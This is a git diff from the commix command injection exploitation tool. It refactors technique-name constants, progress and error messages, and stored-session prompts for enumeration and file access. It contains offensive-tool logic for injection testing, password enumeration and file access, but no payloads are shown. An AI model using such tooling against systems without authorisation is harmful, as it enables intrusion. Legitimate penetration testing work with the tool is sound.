file-based command injection technique. """ def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "semi-blind command injection" - technique = "file-based command injection technique" + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.FILE_BASED settings.FILE_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): @@ -247,7 +248,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m checks.skip_testing(filename, url) else: settings.FILE_BASED_STATE = False - if settings.FILE_BASED_STATE == None: + if settings.FILE_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ @@ -358,14 +359,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if checks.procced_with_file_based_technique(): menu.options.tech = "f" - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - if not settings.IDENTIFIED_COMMAND_INJECTION: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + classic_command_injection_technique(url, timesec, filename, http_request_method) + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! if checks.injection_techniques_status() == False: diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index f20a5e13fc..e55471d6bc 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -51,6 +51,7 @@ The "classic" injection technique handler. """ def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + shell = False counter = 1 vp_flag = True @@ -58,12 +59,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ is_encoded = False export_injection_info = False - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + checks.testing_technique_title(injection_type, technique) i = 0 # Calculate all possible combinations @@ -84,11 +80,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() else: i = i + 1 @@ -175,22 +167,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, float_percent) - if float(float_percent) >= 99.9: - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0a4d0836a9..d26d5231ad 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -45,6 +45,7 @@ The "eval-based" injection technique handler. """ def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + shell = False counter = 1 vp_flag = True @@ -55,12 +56,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + checks.testing_technique_title(injection_type, technique) i = 0 # Calculate all possible combinations @@ -81,17 +77,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + checks.testing_technique_title(injection_type, technique) + if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator @@ -187,23 +180,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, float_percent) - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 6fb34663bc..3a933e756a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -141,10 +141,7 @@ def finalize(exit_loops, no_result, float_percent, injection_type, technique): percent = ".. (" + str(float_percent) + "%)" else: percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) return True else: return True @@ -178,6 +175,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) + # checks.testing_technique_title(injection_type, technique) + i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -199,21 +198,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification(url, technique, injection_type) - if technique == "tempfile-based injection technique": + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: #settings.LOAD_SESSION = True tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + checks.testing_technique_title(injection_type, technique) + if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. @@ -303,9 +299,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) if len(shell) == 0 : raise _urllib.error.HTTPError(url, 404, 'Error', {}, None) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 4fc3cfd19f..2692553432 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -72,31 +72,26 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, false_positive_warning = False export_injection_info = False how_long = 0 - injection_type = "semi-blind command injection" - technique = "tempfile-based injection technique" + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED if settings.TIME_RELATIVE_ATTACK == False: - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = None + # Check if defined "--url-reload" option. + if menu.options.url_reload == True: + checks.reload_url_msg(technique) + # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - err_msg = "The '--url-reload' option is not available in " + technique + "!" - print(settings.print_critical_msg(err_msg)) - if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - if settings.VERBOSITY_LEVEL != 0: - info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) - + checks.testing_technique_title(injection_type, technique) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -119,11 +114,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, settings.FOUND_DIFF = how_long - timesec OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() else: num_of_chars = num_of_chars + 1 @@ -251,9 +242,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) # Check if false positive fixation is True. if false_positive_fixation: @@ -299,16 +288,12 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) continue except (KeyboardInterrupt, SystemExit): @@ -335,9 +320,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) else: percent = "" else: @@ -512,9 +495,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.no_readline_module() while True: if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + checks.time_delay_recommendation() false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() @@ -595,8 +576,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): # Check if attack is based on time delays. if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True if tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response) == False: diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 7ed8b3e87f..381e3210f0 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -21,6 +21,7 @@ from src.utils import menu from src.utils import settings from src.utils import common +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -125,11 +126,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell raise SystemExit() except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() """ Export successful applied techniques from session file. @@ -420,12 +417,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - + checks.error_loading_session_file() """ Export valid credentials from session file. diff --git a/src/utils/settings.py b/src/utils/settings.py index ff04c8230d..5f8101d1ce 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -644,6 +644,22 @@ class OS(object): # Available injection techniques. AVAILABLE_TECHNIQUES = ['c','e','t','f'] + +# Supported injection types +class INJECTION_TYPE(object): + RESULTS_BASED_CI = "results-based OS command injection" + RESULTS_BASED_CE = "results-based dynamic code evaluation" + BLIND = "blind OS command injection" + SEMI_BLIND = "semi-blind OS command injection" + +# Supported injection techniques +class INJECTION_TECHNIQUE(object): + CLASSIC = "classic command injection technique" + DYNAMIC_CODE = "dynamic code evaluation technique" + TIME_BASED = "time-based command injection technique" + FILE_BASED = "file-based command injection technique" + TEMP_FILE_BASED = "tempfile-based injection technique" + USER_SUPPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False From d6656b0a6f30b6c07823dfb32997d95eda73806b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 30 May 2024 08:38:14 +0300 Subject: [PATCH 0454/1023] (More) Code refactoring --- .../techniques/time_based/tb_enumeration.py | 25 +++++++++ .../techniques/time_based/tb_file_access.py | 25 +++++++++ .../blind/techniques/time_based/tb_handler.py | 42 +-------------- src/core/injections/controller/checks.py | 1 + .../techniques/classic/cb_enumeration.py | 28 ++++++++++ .../techniques/classic/cb_file_access.py | 25 +++++++++ .../techniques/classic/cb_handler.py | 45 +--------------- .../techniques/eval_based/eb_enumeration.py | 28 ++++++++++ .../techniques/eval_based/eb_file_access.py | 25 +++++++++ .../techniques/eval_based/eb_handler.py | 23 ++------- .../techniques/file_based/fb_enumeration.py | 32 +++++++++++- .../techniques/file_based/fb_file_access.py | 29 ++++++++++- .../techniques/file_based/fb_handler.py | 51 ++----------------- .../tempfile_based/tfb_enumeration.py | 27 ++++++++++ .../tempfile_based/tfb_file_access.py | 26 ++++++++++ .../techniques/tempfile_based/tfb_handler.py | 46 +---------------- src/utils/settings.py | 2 +- 17 files changed, 282 insertions(+), 198 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index d2334dea29..e549298325 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -18,6 +18,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -263,4 +264,28 @@ def reset(): system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if settings.ENUMERATION_DONE == True: + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + break + elif enumerate_again in settings.CHOICE_NO: + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index e454c8625e..e781aa6293 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -17,6 +17,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -116,4 +117,28 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if settings.FILE_ACCESS_DONE == True: + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 1c48da187a..dbf0a84573 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -384,47 +384,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.LOAD_SESSION = False # Check for any enumeration options. - if settings.ENUMERATION_DONE == True: - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - + tb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - + tb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ca5b915a75..0432ba3281 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -37,6 +37,7 @@ from src.core.convert import hexdecode from socket import error as SocketError from src.core.requests import requests +from src.core.requests import parameters from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 6065f91873..b4f008996f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -17,6 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -297,4 +298,31 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + # Check for any enumeration options. + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 5ccfc114db..c62597478e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -17,6 +17,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -110,4 +111,28 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index e55471d6bc..905eef491c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -257,51 +257,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + cb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + cb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 9a6d91e337..5b90517c13 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -17,6 +17,7 @@ 